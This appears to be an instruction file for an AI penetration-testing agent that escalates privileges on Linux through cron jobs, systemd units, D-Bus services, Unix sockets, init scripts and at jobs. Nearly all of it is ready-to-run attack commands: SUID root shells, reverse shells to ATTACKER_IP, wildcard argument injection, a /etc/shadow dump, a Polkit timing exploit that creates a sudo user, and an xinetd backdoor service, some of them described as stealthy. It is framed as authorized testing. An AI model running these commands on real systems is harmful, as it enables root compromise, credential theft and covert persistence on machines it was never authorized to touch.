Linux Cron Service Abuse

Linux Cron, Service, and D-Bus Exploitation

You are helping a penetration tester exploit scheduled tasks, services, and inter-process communication mechanisms for privilege escalation. All testing is under explicit written authorization.

Engagement Logging

Check for ./engagement/ directory. If absent, proceed without logging.

When an engagement directory exists:

• Print [linux-cron-service-abuse] Activated → <target> to the screen on activation.
• Evidence → save significant output to engagement/evidence/ with descriptive filenames (e.g., sqli-users-dump.txt, ssrf-aws-creds.json).

State Management

Call get_state_summary() from the state MCP server to read current engagement state. Use it to:

• Skip re-testing targets, parameters, or vulns already confirmed
• Leverage existing credentials or access for this technique
• Understand what's been tried and failed (check Blocked section)

Your return summary must include:

• New targets/hosts discovered (with ports and services)
• New credentials or tokens found
• Access gained or changed (user, privilege level, method)
• Vulnerabilities confirmed (with status and severity)
• Pivot paths identified (what leads where)
• Blocked items (what failed and why, whether retryable)

Prerequisites

• Shell access on Linux target
• At least one of: writable cron script, wildcard in cron command, writable systemd unit, exploitable D-Bus service, writable Unix socket
• pspy recommended for discovering hidden scheduled tasks

Step 1: Assess Scheduled Task and Service Landscape

If not already provided by linux-discovery, enumerate:

# Cron jobs
crontab -l 2>/dev/null
cat /etc/crontab 2>/dev/null
ls -la /etc/cron.d/ /etc/cron.daily/ /etc/cron.hourly/ 2>/dev/null
cat /etc/cron.d/* 2>/dev/null

# Systemd timers and services
systemctl list-timers --all --no-pager 2>/dev/null
systemctl list-units --type=service --state=running --no-pager 2>/dev/null

# Process monitoring (leave running)
./pspy64 -pf -i 1000

Classify findings and proceed to the relevant section below.

Step 2: Cron Job Exploitation

Writable Cron Script

If a root cron job executes a script you can modify:

# Verify write access
ls -la /path/to/cron_script.sh

# Option 1: SUID bash (persistent)
echo '#!/bin/bash
cp /bin/bash /tmp/rootbash
chown root:root /tmp/rootbash
chmod 4755 /tmp/rootbash' > /path/to/cron_script.sh
chmod +x /path/to/cron_script.sh

# Wait for cron execution, then:
/tmp/rootbash -p

# Option 2: Reverse shell (immediate access)
echo '#!/bin/bash
bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1' > /path/to/cron_script.sh
chmod +x /path/to/cron_script.sh
# Start listener: nc -lvnp PORT

# Option 3: Append to existing script (stealthier)
echo '' >> /path/to/cron_script.sh
echo 'cp /bin/bash /tmp/.rootbash && chmod 4755 /tmp/.rootbash' >> /path/to/cron_script.sh

PATH Manipulation in Cron

If a cron job calls a binary without a full path:

# Example crontab entry:
# * * * * * root backup_script

# Check cron PATH (first line of /etc/crontab)
head -5 /etc/crontab
# Default: PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# Find a writable directory that appears before the real binary in PATH
echo $PATH | tr ':' '\n' | while read d; do [ -w "$d" ] && echo "WRITABLE: $d"; done

# Create hijack binary in writable PATH directory
cat > /writable/path/backup_script << 'EOF'
#!/bin/bash
cp /bin/bash /tmp/rootbash && chmod 4755 /tmp/rootbash
# Run original to avoid breaking things
/usr/bin/backup_script "$@"
EOF
chmod +x /writable/path/backup_script

Writable Cron Directory Injection

If you can write to cron directories:

# Direct injection to /etc/cron.d/ (if writable)
cat > /etc/cron.d/exploit << 'EOF'
* * * * * root /bin/bash -c 'cp /bin/bash /tmp/rootbash && chmod 4755 /tmp/rootbash'
EOF

# Or via crontab command (user crontab)
(crontab -l 2>/dev/null; echo "* * * * * /bin/bash -c 'bash -i >& /dev/tcp/ATTACKER/PORT 0>&1'") | crontab -

Important: Cron files in /etc/cron.d/ must have correct permissions (644, owned by root) or they may be ignored. User crontabs via crontab -e don't have this restriction.

Step 3: Wildcard Injection

When a root-owned cron job or script uses wildcards (*) in commands, you can inject arguments via specially-named files.

Tar Checkpoint Injection

Target pattern: tar czf backup.tar.gz * or tar czf backup.tar.gz /path/*

# Navigate to the directory where tar runs with wildcards
cd /path/to/target_directory

# Create payload script
cat > shell.sh << 'EOF'
#!/bin/bash
cp /bin/bash /tmp/rootbash
chmod 4755 /tmp/rootbash
EOF
chmod +x shell.sh

# Create checkpoint injection files
touch -- '--checkpoint=1'
touch -- '--checkpoint-action=exec=sh shell.sh'

# When root's cron runs: tar czf backup.tar.gz *
# The * expands to include --checkpoint=1 and --checkpoint-action=exec=sh shell.sh
# tar executes shell.sh as root

Wait for execution, then: /tmp/rootbash -p

Chown/Chmod Reference File Injection

Target pattern: chown -R user:group * or chmod -R 755 *

cd /path/to/target_directory

# Create reference file that points to a file with desired ownership
touch -- '--reference=/etc/passwd'
# When root runs: chown nobody:nobody *
# The --reference flag overrides and sets ownership to match /etc/passwd (root:root)

Rsync Shell Injection

Target pattern: rsync -az * backup:/dest/

cd /path/to/target_directory
touch -- '-e sh shell.sh'
# When rsync processes *, the -e flag specifies a shell command

7-Zip File List Exfiltration

Target pattern: 7za a backup.7z *

cd /path/to/target_directory
ln -s /etc/shadow shadow.txt
touch @shadow.txt
# 7z interprets @file as "read filenames from file"
# Contents of /etc/shadow printed to stderr

Zip Test Injection

Target pattern: zip out.zip *

cd /path/to/target_directory
touch -- '-T'
touch -- '-TT sh shell.sh'
# zip -T runs a test, -TT specifies the test command

Step 4: Systemd Timer and Service Exploitation

Writable Service Files

# Find writable unit files
find /etc/systemd/system /usr/lib/systemd/system /lib/systemd/system -writable -type f 2>/dev/null

# Check specific service file permissions
ls -la /etc/systemd/system/<service>.service

Modify ExecStart to inject payload:

# Backup original (for cleanup)
cp /etc/systemd/system/target.service /tmp/target.service.bak

# Option 1: Replace ExecStart
sed -i 's|ExecStart=.*|ExecStart=/bin/bash -c "cp /bin/bash /tmp/rootbash \&\& chmod 4755 /tmp/rootbash"|' /etc/systemd/system/target.service

# Option 2: Add ExecStartPre for stealth (runs before main service)
sed -i '/\[Service\]/a ExecStartPre=/bin/bash -c "cp /bin/bash /tmp/rootbash && chmod 4755 /tmp/rootbash"' /etc/systemd/system/target.service

# Reload and trigger
systemctl daemon-reload
systemctl restart target.service   # If you have permission to restart
# Otherwise wait for next boot or timer trigger

Writable Timer Files

# If a timer file is writable, modify to trigger frequently
cat > /etc/systemd/system/exploit.timer << 'EOF'
[Unit]
Description=Exploit Timer

[Timer]
Unit=exploit.service

[Install]
WantedBy=timers.target
EOF

cat > /etc/systemd/system/exploit.service << 'EOF'
[Unit]
Description=Exploit Service

[Service]
Type=oneshot
ExecStart=/bin/bash -c 'cp /bin/bash /tmp/rootbash && chmod 4755 /tmp/rootbash'
EOF

systemctl daemon-reload
systemctl enable --now exploit.timer

Systemd PATH Hijack

# Check systemd environment PATH
systemctl show-environment | grep PATH

# If a service uses a relative binary path in ExecStart:
# ExecStart=myservice --flag
# And you can write to a directory in the systemd PATH before the real location:
echo '#!/bin/bash' > /writable/path/myservice
echo 'cp /bin/bash /tmp/rootbash && chmod 4755 /tmp/rootbash' >> /writable/path/myservice
echo '/usr/bin/myservice "$@"' >> /writable/path/myservice
chmod +x /writable/path/myservice

Service Binary Replacement

# If the binary specified in ExecStart is writable
ls -la /path/to/service_binary

# Replace with payload (backup first)
cp /path/to/service_binary /tmp/service_binary.bak
cat > /path/to/service_binary << 'EOF'
#!/bin/bash
cp /bin/bash /tmp/rootbash && chmod 4755 /tmp/rootbash
/tmp/service_binary.bak "$@"  # Run original
EOF
chmod +x /path/to/service_binary

Step 5: D-Bus Service Exploitation

D-Bus Enumeration

# List system bus services
busctl list 2>/dev/null

# Get service details (PID, UID — look for root-owned)
busctl status <service.name> 2>/dev/null

# List objects and interfaces
busctl tree <service.name> 2>/dev/null

# Introspect methods (find callable functions)
busctl introspect <service.name> /object/path 2>/dev/null

# Monitor D-Bus traffic
dbus-monitor --system 2>/dev/null &

Look for:

• Services running as root (UID=0 in busctl status)
• Methods that accept string parameters (command injection potential)
• Missing PolicyKit authorization checks
• Services with overly permissive D-Bus policies

# Check D-Bus policies for permissive rules
grep -rn 'allow' /etc/dbus-1/system.d/ /usr/share/dbus-1/system.d/ 2>/dev/null | grep -E 'send_destination|own'

D-Bus Command Injection

If a root-owned D-Bus service passes user input to system(), popen(), or similar:

# Using dbus-send
dbus-send --system --print-reply --dest=<service.name> /object/path \
  <interface.name>.<MethodName> string:';cp /bin/bash /tmp/rootbash && chmod 4755 /tmp/rootbash #'

# Using gdbus
gdbus call -y -d <service.name> -o /object/path \
  -m <interface.name>.<MethodName> ';bash -c "bash -i >& /dev/tcp/ATTACKER/PORT 0>&1" #'

# Using busctl
busctl call <service.name> /object/path <interface.name> <MethodName> s \
  ';cp /bin/bash /tmp/rootbash && chmod 4755 /tmp/rootbash #'

Python D-Bus exploitation:

import dbus

bus = dbus.SystemBus()
obj = bus.get_object('<service.name>', '/object/path')
iface = dbus.Interface(obj, dbus_interface='<interface.name>')

# Command injection via string parameter
payload = ';bash -c "bash -i >& /dev/tcp/ATTACKER/PORT 0>&1" #'
iface.MethodName(payload)

PolicyKit / Polkit Bypass

CVE-2021-4034 (PwnKit) — pkexec Local Privilege Escalation

Affected: PolicyKit pkexec < 0.120 (virtually all Linux distributions before Jan 2022 patches).

# Check version
pkexec --version

# Multiple public exploits:
# https://github.com/ly4k/PwnKit
# https://github.com/arthepsy/CVE-2021-4034

# Quick check (Python PoC)
python3 -c '
import ctypes, os, struct, sys

libc = ctypes.CDLL("libc.so.6")
libc.execve.argtypes = [ctypes.c_char_p, ctypes.POINTER(ctypes.c_char_p), ctypes.POINTER(ctypes.c_char_p)]

# Exploit uses empty argv to trigger out-of-bounds write
# See public PoCs for full implementation
'

Compiled exploits are more reliable — transfer a pre-compiled PwnKit binary.

CVE-2021-3560 — Polkit D-Bus Authentication Bypass

Affected: Polkit 0.113 - 0.118 (Ubuntu 20.04, RHEL 8, Fedora 21+).

# Trigger: send D-Bus request and kill it at the right moment
# The timing window causes polkit to authorize the request

# Create user with sudo privileges
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call \
  --print-reply /org/freedesktop/Accounts \
  org.freedesktop.Accounts.CreateUser string:hacker string:"Hacker" int32:1 &
# Kill after ~10-20ms
sleep 0.01 && kill $!

# Set password for new user
HASHED=$(openssl passwd -6 password123)
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call \
  --print-reply /org/freedesktop/Accounts/User1001 \
  org.freedesktop.Accounts.User.SetPassword string:"$HASHED" string:"" &
sleep 0.01 && kill $!

# Login as new user
su - hacker  # password: password123
sudo bash

Note: Timing-dependent — may need multiple attempts. Loop until it works:

for i in $(seq 1 100); do
  dbus-send --system --dest=org.freedesktop.Accounts --type=method_call \
    --print-reply /org/freedesktop/Accounts \
    org.freedesktop.Accounts.CreateUser string:hacker string:"" int32:1 &
  sleep 0.008
  kill $! 2>/dev/null
done

Recent D-Bus CVEs

Step 6: Unix Socket Exploitation

Socket Enumeration

# List Unix sockets
ss -lx 2>/dev/null || netstat -a -p --unix 2>/dev/null
find / -type s 2>/dev/null

# Check permissions (writable = exploitable)
find / -type s -writable 2>/dev/null

# Identify socket owners (root-owned = high value)
ls -la /var/run/*.sock /tmp/*.sock /tmp/*.s 2>/dev/null

Socket Protocol Analysis

Before injecting, determine the socket's protocol. Root-owned sockets may use custom protocols (length-prefixed JSON, line-delimited text, HTTP, protobuf):

# Probe with empty/minimal data — observe error messages for protocol clues
echo "" | socat - UNIX-CLIENT:/path/to/socket
echo "{}" | socat - UNIX-CLIENT:/path/to/socket
echo "help" | socat - UNIX-CLIENT:/path/to/socket

# For length-prefixed protocols, craft a proper header:
# Example: 4-byte big-endian length + JSON payload
python3 -c "
import struct, json, socket, sys
msg = json.dumps({'op':'status'}).encode()
s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
s.connect('/path/to/socket')
s.send(struct.pack('>I', len(msg)) + msg)
print(s.recv(4096).decode())
"

If the service evaluates code (PHP, Lua, Python) from socket messages — e.g., a rule engine or sandbox — check whether the sandbox's config files (php.ini, policy files) are writable from your current user. Overwriting sandbox restrictions then re-triggering code evaluation can escalate to unrestricted execution as the socket owner.

Socket Command Injection

If a root-owned socket accepts commands without authentication:

# Test with socat
echo "id" | socat - UNIX-CLIENT:/path/to/socket

# Inject payload
echo "cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash; chmod +x /tmp/rootbash;" | \
  socat - UNIX-CLIENT:/path/to/socket

# Using nc (if Unix socket support available)
echo ';bash -c "bash -i >& /dev/tcp/ATTACKER/PORT 0>&1" #' | nc -U /path/to/socket

# Using curl (for HTTP-based sockets)
curl --unix-socket /path/to/socket http://localhost/api/exec -d '{"cmd":"id"}'

Docker Socket Exploitation

If /var/run/docker.sock is writable (docker group membership):

# Verify access
docker ps 2>/dev/null

# Mount host filesystem
docker run -v /:/host -it alpine chroot /host bash

# If docker CLI not available, use curl
curl -s --unix-socket /var/run/docker.sock http://localhost/images/json
curl -s --unix-socket /var/run/docker.sock -X POST \
  "http://localhost/containers/create" \
  -H "Content-Type: application/json" \
  -d '{"Image":"alpine","Cmd":["/bin/sh"],"Binds":["/:/host"],"Privileged":true}'

Note: Docker socket exploitation is also covered in linux-file-path-abuse with additional group-based escalation paths.

Step 7: Init Script and At Job Exploitation

Writable Init Scripts

# Find writable init scripts
find /etc/init.d -writable -type f 2>/dev/null
ls -la /etc/rc.local 2>/dev/null

# Inject into writable init script
echo '' >> /etc/init.d/writable_service
echo '/bin/bash -c "cp /bin/bash /tmp/rootbash && chmod 4755 /tmp/rootbash"' >> /etc/init.d/writable_service

# Inject into rc.local (if writable, runs at boot)
echo 'cp /bin/bash /tmp/rootbash && chmod 4755 /tmp/rootbash' >> /etc/rc.local
chmod +x /etc/rc.local

Xinetd Service Injection

# If /etc/xinetd.d/ is writable
cat > /etc/xinetd.d/backdoor << 'EOF'
service backdoor
{
    port        = 9999
    socket_type = stream
    protocol    = tcp
    wait        = no
    user        = root
    server      = /bin/bash
    server_args = -c "bash -i >& /dev/tcp/ATTACKER/PORT 0>&1"
    disable     = no
}
EOF

# Add to /etc/services if needed
echo "backdoor 9999/tcp" >> /etc/services

# Restart xinetd
systemctl restart xinetd 2>/dev/null || service xinetd restart 2>/dev/null

At Job Exploitation

# Schedule command (if at is available and allowed)
echo 'cp /bin/bash /tmp/rootbash && chmod 4755 /tmp/rootbash' | at now + 1 minute

# Check at restrictions
cat /etc/at.allow 2>/dev/null
cat /etc/at.deny 2>/dev/null

# List pending at jobs
atq 2>/dev/null

Anacron Exploitation

# Check anacron config
cat /etc/anacrontab 2>/dev/null

# If anacron runs writable scripts in /etc/cron.daily/ etc.
# Same exploitation as writable cron scripts (Step 2)

Step 8: Escalate or Pivot

Troubleshooting

Cron job doesn't fire

Check cron daemon is running: systemctl status cron 2>/dev/null || systemctl status crond. Verify cron file permissions (644 for /etc/cron.d/ files). Check cron logs: grep CRON /var/log/syslog or journalctl -u cron. Use pspy to monitor.

Wildcard injection files not expanding

File names must be exact (including dashes): touch -- '--checkpoint=1'. The -- tells touch to stop processing options. Verify with ls -la that filenames start with --. Also verify the cron command actually uses * glob expansion (not a quoted path).

D-Bus method returns "not authorized"

PolicyKit is blocking. Check polkit rules in /usr/share/polkit-1/rules.d/ and /etc/polkit-1/rules.d/. Consider CVE-2021-3560 timing attack if polkit version is vulnerable. Some services have custom auth — check the service's D-Bus policy file in /etc/dbus-1/system.d/.

Systemd daemon-reload requires root

If you cannot systemctl daemon-reload, modifications to service files won't take effect until the next reboot or until a root process reloads systemd. Timer and service modifications that don't require reload: modifying the script/binary that ExecStart points to (not the unit file itself).

Socket not accepting connections

Check socket type (SOCK_STREAM vs SOCK_DGRAM) and use the correct tool. For datagram sockets: socat - UNIX-SENDTO:/path/to/socket. Verify the socket is actively listening: ss -lx | grep socket_name.